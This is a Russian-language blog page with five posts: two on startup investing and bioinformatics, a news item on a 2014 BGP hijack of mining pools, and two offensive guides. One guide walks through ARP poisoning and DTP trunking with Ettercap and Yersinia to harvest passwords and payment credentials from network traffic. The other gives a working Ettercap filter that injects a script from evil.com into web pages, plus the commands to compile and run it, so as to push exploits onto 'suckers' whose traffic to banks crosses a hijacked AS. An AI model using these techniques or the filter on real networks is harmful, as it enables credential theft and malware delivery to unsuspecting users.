Блог

  • Делай как Google — правила выбора стартапов для инвестиций

    Делай как Google — правила выбора стартапов для инвестиций

    Создатель Gmail Пол Бакхайт в школе инвесторов акселератора Y Combinator рассказал, как отличить идею на миллиард от пустышки и почему команда в стартапе важнее всего

    Paul Bucheit from Google
    Пол Бакхайт (Paul Bucheit) занимается инвестициями более 20 лет. Собеседуя более тысячи стартапов в год, он вложился в несколько сотен компаний. Выступая перед инвесторами Y Combinator, он рассказал о том, почему не вложился в Airbnb и почему хорошие идеи иногда выглядят не стоящими внимания.

    Как Google и создатель Gmail нашли друг друга

    Google зародился как исследовательский проект в Стэнфорде. Ребята планировали продать технологию за миллион долларов таким гигантам, как Yahoo! или Infoseek, а потом вернуться к учебе. Но все потенциальные инвесторы отказались от их идеи, потому что никто не считал, что проект стоит этих денег. Все ждали чего-то покруче. Пришлось основателям Google создавать свою компанию.

    Как случилось, что Бакхайт пошел работать в Google? Изначально, он шел в компанию не зарабатывать деньги, а набираться опыта. На собеседовании ему показалось, что ребята «весьма смышленые»: в то время как в других стартапах задавали глупые вопросы, в Google чувствовалось, что эти люди реально разбирались в том, что делали. Позже оказалось, что бизнес-идея Google работает. В итоге он нашел продукт, которым люди хотели делиться и рассказывать о нем, заражая других своими идеями. Виральность, утверждает Бакхайт, важный аспект и для стартапа, и для инвестора, и для сотрудника.

    В кого инвестировать

    Один из самых важных критериев — это наличие действительно крутой команды. Задача основателя сводится к поиску тех, кто будет разделять ценности вашей команды. Необходимо искать тех, кто будет лучше вас и умнее. Создатель Google Maps Брет Тейлор, Марк Цукерберг и команда Facebook — яркие тому примеры.

    «Существовала какая-то ошибка, которая сильно тормозила работу карт Google, — вспоминает Бакхайт. — В какой-то момент Тейлора достала эта ситуация, и он полностью переписал весь JavaScript-код за выходные, уменьшил его в несколько раз и многократно ускорил. Это была работа, над которой трудилась длительное время целая команда».

    Если на собеседовании вы думаете, что смогли бы сделать эту работу лучше кандидата, то инвестировать в него не стоит. Поэтому в беседе с основателями важно задавать исследовательские вопросы, чтобы понять, разбираются ли они в том, о чем говорят. Пример хороших партнеров, считает Бакхайт, это когда на совет в решении какой-то проблемы в продукте его создатели берут и делают это за вечер, а не ищут отговорки.

    Выбор проекта

    Пол приводит два примера. Компания Meraki, в которую инвестировали Google и Sequoia Capital, создавала беспроводные коробочки. Когда Бакхайт пришел к ним, их устройства уже были в продаже. «Они едва наскребли деньги на запуск, но по сути имели почти нулевой бюджет, а потом Cisco купил эту компанию за $1,2 млрд, окупив вложения в 73 раза», — говорит он. Это пример основателей, которых хотят видеть инвесторы.

    И противоположный пример — Juicero. Создатели проекта без общения с клиентами, без пробных продаж потратили сотни миллионов долларов на выжималку сока из пакетов. В результате стартап разорился, потому что пользователи выяснили, что выжимать пакетики можно и руками. Более того, они были неоправданно дорогими.

    На кого не стоит ориентироваться, так это на персон, которые не делали ошибок в своей жизни. «От людей, которые получали только лучшие отметки с идеальным резюме, мне не по себе, — заявляет Пол. — Если в какой-то момент прилетит удар в голову, непонятно, как такой человек будет реагировать на проблему».

    Идеи на миллиард

    Пол вспоминает, что 20 лет назад, когда он ради шутки начал заниматься инвестициями, он перестал ограничивать себя только хорошими идеями и нашел в этом определенный смысл: множество хороших идей сначала выглядят плохими.

    Еще четыре года назад идея самоуправляемого автомобиля была непопулярной. Технология казалась невероятно сложной, у того же Google огромная команда работала над проблемой, поэтому казалось, что маленькой компании не под силу решить эту задачу. Но стартап Cruise Automation, который занимался беспилотными системами, заинтересовал General Motors и был куплен за миллиард, вернув вложения в 50-кратном размере.

    Конечно, основатель стартапа, который берется обыграть корпорации, должен отлично понимать, как решить задачу. Бакхайт приводит в качестве примера разработчика Блейка, который пытался возродить индустрию сверхзвуковых перелетов. Пол вспоминает, что на этапе отбора в акселератор Блейк четко объяснил, почему реализация кажется ему возможной, и привел три ошибки, допущенные Concorde.

    «Люди должны продемонстрировать настоящую глубину понимания своей идеи и максимальную ясность изложения мысли», — добавил Бакхайт.

    Ошибки инвестирования

    Иногда может казаться, что можно заработать огромные деньги, вложившись в стартап с циничной идеей. Обычно это не ведет к добру. Задайте себе вопросы: создает ли на самом компания ценность? на самом ли деле они собираются сделать мир богаче или же используют уязвимость в том же Facebook? а что компания будет делать, если соцсеть поменяет свой алгоритм? Внимательно слушайте ответы основателей: если они не знают ответа на эти вопросы, это предупреждающий звоночек!

    Если вам сложно представить, кто бы в целом мире мог бы воспользоваться продуктом, над которым работает стартап, вы должны ответить ему «нет». И наоборот, хороший знак, если вам лично хочется владеть этим.

    «Собеседования в фонде ограничены десятью минутами. Когда основатель не может объяснить, чем занимается компания и в чем заключается идея ее продукта, это также очевидное «нет», — говорит Бакхайт. Также он предупреждает, что многие основатели слишком рано продают стартап, едва услышав от инвестора сумму, которую он готов вложить в их проект.

    «Если у вас есть собственный стартап, то дайте ему максимальный приоритет, а не бегайте, раздавая инвестиции. Если же вы решились вкладываться, то делайте это быстро. Пока вы думаете, ваши шансы попасть в стартапы, которые вам действительно интересны, уменьшаются», — утверждает инвестор. Бакхайт рассказал, что несколько раз упускал выгодные сделки из-за стремления сэкономить: несколько лет назад он принял решение вложиться в Airbnb, но договорился посмотреть их еще раз на демо-дне. На встречу они уже не пришли, так как подписали соглашение с Sequoia Capital. «Если стартап вам кажется интересным, то не стоит ждать, что за углом будет что-то интереснее или дешевле. Слишком дорогой? Выделите больше денег», — советует он.

    И уж точно не стоит инвестировать из жалости к основателям или из дружеских побуждений. Такая практика нормальна как благотворительность, но заработать на этом не получится.

    «Благоприятных условий для запуска стартапа или развития продукта не существует и никогда не будет», — заключает Бакхайт. Важно начать работать прямо сейчас и быстро учиться на своих ошибках.

  • Нарушитель угнал IP трафик провайдеров через BGP для получения BitCoin

    Нарушитель угнал IP трафик провайдеров через BGP для получения BitCoin

    Среди всех сделок с биткоинами в последнее время одна выделяется особо: угнать интернет-трафик почти двух десятков интернет-компаний специально для того, заполучить несколько сотен свежемайненых биткоинов? Это действительно нечто из ряда вон выходящее.

    Специалисты по информационной безопасности из компании Dell SecureWorks выявили ряд инцидентов, в которых нарушители перенаправили часть трафика как минимум 19 интернет-провайдеров, в том числе облачных провайдеров Amazon, Ростелеком, Мегафон, Вымпелком, УкртелекомDigitalOcean и OVH, чтобы получить криптовалюту.

    Каждый раз форвардинг трафика продолжался не более 30 секунд, нарушители осуществили 22 вброса маршрута с помощью пакета LOKI, каждый раз получая во временное управление вычислительные мощности майнинговых пулов. В частности, компьютеры из майнинг-пула перенаправлялись на другой командный сервер, который переводил сгенерированную криптовалюту на свой счёт.

    компьютеры из майнинг-пула перенаправляли на другой командный сервер, который переводил сгенерированную криптовалюту на свой счёт

    Нарушители специализировались на атаках именно против майнинг-пулов. В один из дней нарушителям удалось получить биткоинов и других видов криптовалюты, включая Dogecoin и Worldcoin, на сумму $9.000. Всего же за всё время деятельности они заработали около $83. 000.

    По мнению специалистов Dell SecureWorks, нарушитель применил атаку на BGP-маршрутизаторы — BGP hijacking, используя уязвимости в протоколе BGP (Border Gateway Protocol), который применяется для маршрутизации трафика между большими сегментами интернета. Для публикации ложных инструкций в таблицы маршрутизации BGP они также использовали взломанный аккаунт сотрудника одного из канадских интернет-провайдеров (возможно, сотрудник и сам причастен к этой сделке).

    Атаки осуществлялись с февраля по май 2014 года. Специалисты Dell SecureWorks не называют, какой конкретно интернет-провайдер оказался вовлечён в эту операцию.

    Техника атаки на BGP-маршрутизаторы известна давно. Например, в 2013 году другой нарушитель использовал этот метод для перенаправления части американского интернет-трафика в Исландию и Беларусь также для получения криптовалюты BitCoin в огромных количествах.

  • Как получить прибавку к зарплате в Ростелекоме

    Как получить прибавку к зарплате в Ростелекоме



    Для начала инженеру электросвязи стоит провести анализ пробегающего мимо него  сетевого трафика с помощью любого сетевого анализатора в «неразборчивом» режиме работы сетевой карты (promiscuous mode).

    В качестве сетевого анализатора для подобных целей замечательно подходит Wireshark или CommView. Чтобы выполнить этот этап, хватит и пары часов работы сетевого анализатора. По прошествии этого времени накопится достаточно данных для проведения анализа перехваченного трафика. И в первую очередь при его анализе следует обратить внимание на следующие протоколы:

    • протоколы коммутации (STP, PVST+, CDP, DTP, VTP, и им подобные)
    • протоколы маршрутизации (RIP, BGP, EIGRP, OSPF, IS-IS и другие)
    • протоколы динамической конфигурации узла (DHCP, BOOTP)
    • открытые протоколы (telnet, rlogin и подобные)
    Что касается открытых протоколов, – вероятность того, что они попадутся во время сбора пакетов проходящего мимо трафика в коммутируемой сети, достаточно мала. Однако, если такого трафика много, то в обследуемой сети явно наблюдаются проблемы в настройках сетевого оборудования.
    Во всех остальных случаях присутствует возможность проведения красивых атак:
    • классической атаки MITM (Man in the middle) в случае, когда используется DHCP, RIP
    • получение роли корневого узла STP (Root Bridge), что позволяет перехватывать трафик соседних сегментов
    • перевод порта в магистральный режим с помощью DTP (enable trunking); позволяет перехватывать весь трафик своего сегмента
    Для реализации атак на протоколы коммутации доступен замечательный инструмент Yersinia.

    Предположим, что в процессе анализа трафика были выявлены пролетающие мимо DTP-пакеты (смотри скриншот). Тогда отправка пакета DTP ACCESS/DESIRABLE может позволить перевести порт коммутатора в магистральный режим. Дальнейшее развитие этой атаки позволяет прослушивать свой сегмент.

    Yersinia MiTM attack

    После тестирования канального уровня стоит переключить внимание на третий уровень OSI. Дошла очередь и до проведения атаки ARP-poisoning. Тут все просто, выбираем инструмент Ettercap NG. Все дело в том, что в случае успешной реализации атаки ARP-poisoning в отношении всего своего сегмента может наступить ситуация, когда компьютер атакующего не справится с потоком поступающих данных и, в конечном счете, это может стать причиной отказа в обслуживании целого сегмента сети. Поэтому наиболее правильным будет выбрать единичные цели, например, рабочие места администраторов и/или разработчиков, какие-либо определенные серверы (возможно контроллер домена, СУБД, терминальный сервер, и другие важные элементы сети).
    Успешно проведенная атака ARP-poisoning позволяет получить в открытом виде пароли к различным информационным ресурсам – СУБД, каталогу домена (при понижении проверки подлинности NTLM), SNMP-community string, пароли для сетевого оборудования с уровнем доступа level 15 и другие приятные вещи. В менее удачном случае могут быть получены хеш-значения от паролей к различным системам, которые нужно будет постараться восстановить по радужным таблицам (rainbow tables), по словарю или атакой «в лоб». Перехваченные пароли могут использоваться где-то еще, и впоследствии это также необходимо подтвердить или опровергнуть.
    Кроме того, стоит проанализировать весь перехваченный трафик на присутствие данных учётных записей входа в платёжные сервисы, передаваемых в открытом виде. Для этого можно пропустить сохраненный cap-файл через NetResident и/или 0x4553-Intercepter. Второй, кстати, замечательно подходит для анализа накопленного трафика в целом.
  • Ettercap NG и угон транзитного IP трафика через BGP

    Ettercap NG и угон транзитного IP трафика через BGP



    Продолжу тему загрузок .ехе на компы обычных пользователей, собственно требуется «заставить» лоха перейти на страницу со сплоитом, который и прогрузит .ехе ему на комп


    Представим, что мы получили во временное пользование чью-то транзитную AS и у нас открылись широчайшие возможности доступа к трафику.
    Размножение ботов с помощью Ettercap NG

    На сей раз воспользуемся такой хорошей вещью как «Ettercap NG». Что приятно — есть и GUI’шный интерфейс, и консольная версия. Последняя версия — 0.7.3. На сайте ettercap.sourceforge.net есть исходники как под разные виды nix’ов, так и под винду. В общем, это сниффер, наделенный важными и нужными для нас возможностями.

    В их число входят:

    • Вынимание и, если надо, расшифровывание логинов и паролей к большому числу протоколов
    • Модификация передаваемых в обоих направлениях пакетов
    • Проведение Man in the Middle атак (MitM)
    • Пассивный анализ трафика с фингерпринтом ОС, сервисов хостов

    К тому же, Ettercap расширяет свой функционал за счет всевозможных плагинов.
    Но для данной задачи нам потребуются его возможности по поиску и модификации данных TCP/IP-пакетов на «живом» трафике.

    Общая идея такова: во-первых, имея доступ к трафику устанавливаем фильтр для Ettercap’а на модификацию HTTP-ответов от серверов, куда наши лохи заходят. Модификация будет заключаться в добавлении либо сплойта, либо ссылки на сплойт. Для точности буду рассказывать о консольной версии Ettercap, входящей в BackTrack 3.
    Для этого создадим текстовый файлик «http_filter.txt» и пишем в него следующий код — фильтр на HTTP-трафик.


    Код:

    //Если протокол – TCP, удаленный порт – 80
    if (ip.proto == TCP && tcp.dst == 80) {
    //Ищем строку
    if (search(DATA.data, «Accept-Encoding»)) {
    //Заменяем на мусор
    replace(«Accept-Encoding», «Blabla-Blahblah»);
    //Мессага для нас
    msg(«Accept-Encoding field has been changedn»); } }
    //Если протокол – TCP, исходящий порт – 80
    if (ip.proto == TCP && tcp.src == 80) { replace(«</body>», » <script type=»text/javascript» src=»http://evil.com/sploit.js»></script> » «);
    // Меняем ответ сервера – HTML-страницу, подставляя какой-то свой сплойт
    replace(«</html >», » <img src=»http://evil.com/evil.gif»></img>»); msg(«Success!n»);
    //Мессага для нас }

    Для создания фильтров к Ettercap существует примитивный «язык», которым мы и воспользовались. Здесь мы создали два «правила». Первое применяется к пакетам, отправленным на 80 порт по протоколу TCP. Обычно это запросы браузера на открытие той или иной страницы веб-серверу. В них ищем строчку «Accept-Encoding» (поле стандартного HTTP-заголовка, посылаемого браузером) и меняем ее на любой другой текст того же размера (это важно). Требуется это, потому что обычно в «Accept-Encoding» указывается, что ответы от веб-сервера можно сжимать. Но по сжатым данным мы не сможем провести необходимое нам изменение HTML-страниц. Поэтому мы меняем это поле на что-нибудь другое. Сервер же при разборе пропустит это кривое поле и ответит нам в несжатом виде. Второе правило применяется уже к принимаемым данным. Ситуация похожая. Делаем выборку пакетов от веб-сервера (протокол TCP, исходящий порт — 80). И меняем строчки «», «» на либо яваскриптовский, либо рисунок-сплойт, не суть важно.

    Почему именно эти теги будем менять? У них есть один плюс — они присутствуют почти на всех HTML-страничках в единичном числе, что повысит шансы на успешную эксплуатацию уязвимости при малом количестве запросов к нашему серваку. Но все зависит от ситуации, браузера жертвы и т.д. Еще пара моментов: функция «replace» регистрозависима, то есть можно повторить искомые строчки в разных регистрах, а функция «msg» выводит нам сообщения в логах, чтобы мы знали, когда правило задействовалось.Далее требуется переварить наш текстовый файл с фильтром в удобоваримый для Ettercap’a вид.

    Пишем в консоли:etterfilter http_filter.txt -o http_filter.ef
    Где http_filter.txt — наш файл с фильтром, а в «-o http_filter.ef» указываем имя будущего Еttercap-фильтра (необязательная опция).

    Далее запускаем сам Ettercap.ettercap -T -F http_filter.ef
    Где опция «-T» указывает на то, что мы запускаем текстовую версию Ettercap и «-F http_filter.ef» — подключаем полученный от Etterfilter фильтр.

    В итоге Ettercap будет фильтровать трафик, проходящий от лохов через нашу транзитную AS к банковским и финансовым учреждениям, добавляя в конец каждой HTML’ки наш сплойт.

    Как ты понимаешь, Ettercap — тулза крутая, особенно с возможностями фильтров, а они широки. Это и изменение, декодирование пакетов, и использование регекспов, и запуск команд… Основную инфу можно почерпнуть из man’ов и прилагаемых к Ettercap’у примеров.

  • С чего начать стартап в биоинформатике?

    С чего начать стартап в биоинформатике?


    В эту группу попадают стартапы, которые используют софт для диагностики и лечения болезней (речь идет не о биотеке, а об информационных технологиях). Как правило это неинвазивные методики. Например, проект neuralanalytics.com позволяет определять уровень внутричерепного давления на основе анализа массива данных о пациенте. Технологии помогут избежать дорогостоящих и опасных процедур: вместо операции достаточно просто поднести прибор к виску.
    Всевозможные приложения для фитнеса уже наполнили рынок мобиьных приложений. Приложения, оценивающие состояние сна и помогающие проснуться в наиболее благоприятный момент, оценивать качество и калорийность, а также аллергенность потребляемой еды тоже уже не редкость. Все больше и больше людей отслеживают свою повседневную активность с помощью браслетов и кардиосенсоров — количество пройденных шагов, сожженых калорий, сердечного ритма, сна и уровня стресса.
    Стартапы по быстрому реагированию и использованию устройств медицинской сигнализации, такие как американский проект Amulyte — выпускник летнего набора 2013 года акселератора Y Combinator или один из победителей конкурса стартапов прошлого года «Кнопка Жизни»  — лишь начало пути, на который встала индустрия. Но настоящую революцию произведет система,  объединяющая данные сенсоров и датчиков состояния организма с генетической информацией. Мобильные приложения дадут возможность влиять на физическое состояние, рекомендуя соответствующий образ жизни, предписывая определенный пищевой рацион, добавки и медикаменты.
    Компания Oxford Nanopore Technologies представила миниатюрный определитель последовательности оснований в молекуле ДНК стоимостью менее $900. Устройство MinION выглядит совсем как обычная флэшка, но при этом умеет автоматически расшифровывать геном, работая от USB-порта вашего ноутбука.

    Очередной стартап в биоинформатике расширяет границы сексуальных удовольствий

    MinION содержит в себе все элементы, необходимые для сканирования и расшифровки генома: микропотоковые системы, уникальный сенсор и специализированную электронику. Разработчики утверждают, что устройство может секвенировать простые геномы вирусов и бактерий за доли секунды — на более сложные геномы вроде человеческого ему, конечно, понадобится гораздо больше времени.

    Как говорят создатели устройства, прибор работает с двухцепочечной ДНК, что подтверждается практикой: к примеру, во время его представления на конференции «Новое в генетической биологии и технологиях» во Флориде MinION смог легко секвенировать ДНК простого вируса Phi X, содержащего 5000 пар генетических оснований.
    По утверждению Ника Ломана (Nick Loman), биоинформатика из исследовательской группы Университета Бирмингема в Великобритании, автора блога «Патогены: гены или геномы», Phi X стал первым когда-либо секвенированным ДНК-геномом. По его словам, успех в работе MinION с Phi X говорит о том, что в дальнейшем станет реальностью секвенирование с его помощью более сложных геномов, в том числе человеческого.
    Помимо MinION, Oxford Nanopore работает также над созданием более мощной многоразовой лабораторной системы секвенирования — GridION. Обе используют одну технологию расшифровки генома, над которой группа биохимиков из Британии и США работала около 20 лет. ДНК добавляется в раствор, содержащий ферменты, связывающие концы каждой из молекулярных нитей. Когда через раствор пропускают ток, молекула ДНК с прикрепившимися к ней ферментами устремляется к мембране с тысячами ячеек, каждая всего около 10 мкм в диаметре.

    Каждая ячейка — это специально модифицированная молекула альфа-гемолизина (AHL), которая имеет в своей структуре полую трубку шириной всего 10 нанометров. Когда ДНК попадает на мембрану, ферменты прикрепляются к альфа-гемолизину и начинают «распаковывать» ДНК, пропуская одну из цепочек нуклеотидов, образующих двойную спираль ДНК, через нанотрубку AHL. Измеряя ток, протекающий через каждую из нанотрубок, можно установить, какой из четырёх нуклеотидов проходит через неё в каждый момент времени.

    У приборов такого типа есть несколько преимуществ перед традиционными. Во-первых, подготовка образцов для них не требует больших усилий, а значит, им не требуется предварительная амплификация ДНК-материала. Во-вторых, приборы могут секвенировать более чем 10000 ДНК-оснований одновременно, в то время как другим системам необходимо проводить предварительное разбиение материала на сотни оснований. За сутки один GridION способен выдать десятки гигабайт данных по последовательности оснований в изученных ДНК. По информации разработчиков, 20 таких машин в одной серверной стойке смогут декодировать весь геном одного человека всего за 15 минут.

    Впрочем, Oxford Nanopore рискует столкнуться с достаточно серьёзной конкуренцией на рынке компактных ДНК-секвенсоров. Около года назад американская компания Life Technologies представила настольный персональный расшифровщик генома Personal Genome Machine, стоящий менее $100 тысяч. Принцип его работы отличается от технологии GridION, однако и в нём используется микрочип, сочетающий в себе электронику с химией. В январе 2012 года Life Technologies (дочерняя фирма Ion Torrent) показала свою новую модель дешифратора генома Ion Proton. Эта машина оценена уже в $150 тысяч, но зато чип-анализатор, скрывающийся внутри, в 1000 раз более мощный, чем прежний образец. Нужно сказать, что новый секвенсор ДНК — флэшка будет стоить заметно дешевле, менее $900.
    В случае с расшифровщиком-флэшкой можно с уверенностью заявить, что технология декодирования ДНК находится на пороге того, чтобы прийти чуть ли не в каждый дом, подобно тому, как сейчас люди самостоятельно анализируют содержание сахара в крови.
    Для иллюстрации тренда достаточно сказать, что информатику здоровья назвали новым мегатрендом Founders Fund Шона Паркера (создатель Napster и инвестор Facebook и PayPal) SV Angel Рона Конвея (инвестор Google и Twitter) и уже делают первые вложения в подобные проекты.

    Американская биотехнологическая компания 23andMe уже запустила общенациональную рекламную кампанию на ТВ с проведением генетического ликбеза среди населения.

    Основателем компании 23andMe является Анна Войжитски (Anne Wojcicki), жена Сергея Брина. Компания продает наборы для сбора образцов ДНК стоимостью всего $99, с бесплатными последующими генетическими тестами. Естественно, за эти деньги компания не осуществляет полную расшифровку генома, а всего лишь выделяет из слюны маркеры 40+ наследственных болезней и 240+ врожденных особенностей развития. Но даже такое еще совсем недавно считалась научной фантастикой.
    В телевизионной рекламе 23andMe объясняет людям, как важно знать свои гены и насколько секвенирование ДНК помогает улучшить жизнь простого человека. Фирма собирается потратить на рекламу пять миллионов долларов.
    По украинским законам, граждане не имеют права отсылать свой генетический материал за пределы Украины для анализа. Компания 23andMe не высылает приборы на российские и украинские адреса. При покупке нужно указать адрес за границей (например, в Беларуси), оттуда же отправлять образец своего ДНК, чтобы не нарушать закон.